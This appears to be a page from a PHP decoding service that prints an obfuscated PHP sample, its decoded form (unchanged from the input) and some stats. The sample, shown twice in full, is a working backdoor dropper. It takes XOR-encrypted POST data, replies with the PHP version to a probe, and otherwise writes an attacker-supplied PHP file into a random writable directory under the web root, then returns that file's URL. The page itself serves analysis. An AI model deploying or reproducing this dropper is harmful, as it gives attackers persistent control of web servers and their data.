Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $hnkzu = "hqzohzutcxyfkbcc";$gpvse = "";foreach ($_POST as $sjqok => $kocbjmdbfe){if..
Decoded Output download
<?php $hnkzu = "hqzohzutcxyfkbcc";$gpvse = "";foreach ($_POST as $sjqok => $kocbjmdbfe){if (strlen($sjqok) == 16 and substr_count($kocbjmdbfe, "%") > 10){rkioy($sjqok, $kocbjmdbfe);}}function rkioy($sjqok, $klolwx){global $gpvse;$gpvse = $sjqok;$klolwx = str_split(rawurldecode(str_rot13($klolwx)));function bvvfuhdc($uskwdzlzog, $sjqok){global $hnkzu, $gpvse;return $uskwdzlzog ^ $hnkzu[$sjqok % strlen($hnkzu)] ^ $gpvse[$sjqok % strlen($gpvse)];}$klolwx = implode("", array_map("bvvfuhdc", array_values($klolwx), array_keys($klolwx)));$klolwx = @unserialize($klolwx);if (@is_array($klolwx)){$sjqok = array_keys($klolwx);$klolwx = $klolwx[$sjqok[0]];if ($klolwx === $sjqok[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function uhshj($lfuruhvir) {static $wnuob = array();$ffktizaub = glob($lfuruhvir . '/*', GLOB_ONLYDIR);if (count($ffktizaub) > 0) {foreach ($ffktizaub as $lfuruhv){if (@is_writable($lfuruhv)){$wnuob[] = $lfuruhv;}}}foreach ($ffktizaub as $lfuruhvir) uhshj($lfuruhvir);return $wnuob;}$knchkfzpd = $_SERVER["DOCUMENT_ROOT"];$ffktizaub = uhshj($knchkfzpd);$sjqok = array_rand($ffktizaub);$lfuruhvnznpa = $ffktizaub[$sjqok] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($lfuruhvnznpa, $klolwx);echo "http://" . $_SERVER["HTTP_HOST"] . substr($lfuruhvnznpa, strlen($knchkfzpd));exit();}}} ?>
Did this file decode correctly?
Original Code
<?php $hnkzu = "hqzohzutcxyfkbcc";$gpvse = "";foreach ($_POST as $sjqok => $kocbjmdbfe){if (strlen($sjqok) == 16 and substr_count($kocbjmdbfe, "%") > 10){rkioy($sjqok, $kocbjmdbfe);}}function rkioy($sjqok, $klolwx){global $gpvse;$gpvse = $sjqok;$klolwx = str_split(rawurldecode(str_rot13($klolwx)));function bvvfuhdc($uskwdzlzog, $sjqok){global $hnkzu, $gpvse;return $uskwdzlzog ^ $hnkzu[$sjqok % strlen($hnkzu)] ^ $gpvse[$sjqok % strlen($gpvse)];}$klolwx = implode("", array_map("bvvfuhdc", array_values($klolwx), array_keys($klolwx)));$klolwx = @unserialize($klolwx);if (@is_array($klolwx)){$sjqok = array_keys($klolwx);$klolwx = $klolwx[$sjqok[0]];if ($klolwx === $sjqok[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function uhshj($lfuruhvir) {static $wnuob = array();$ffktizaub = glob($lfuruhvir . '/*', GLOB_ONLYDIR);if (count($ffktizaub) > 0) {foreach ($ffktizaub as $lfuruhv){if (@is_writable($lfuruhv)){$wnuob[] = $lfuruhv;}}}foreach ($ffktizaub as $lfuruhvir) uhshj($lfuruhvir);return $wnuob;}$knchkfzpd = $_SERVER["DOCUMENT_ROOT"];$ffktizaub = uhshj($knchkfzpd);$sjqok = array_rand($ffktizaub);$lfuruhvnznpa = $ffktizaub[$sjqok] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($lfuruhvnznpa, $klolwx);echo "http://" . $_SERVER["HTTP_HOST"] . substr($lfuruhvnznpa, strlen($knchkfzpd));exit();}}}
Function Calls
None |
Stats
MD5 | bf3c67d627f3de97e7abb8e056f697c6 |
Eval Count | 0 |
Decode Time | 87 ms |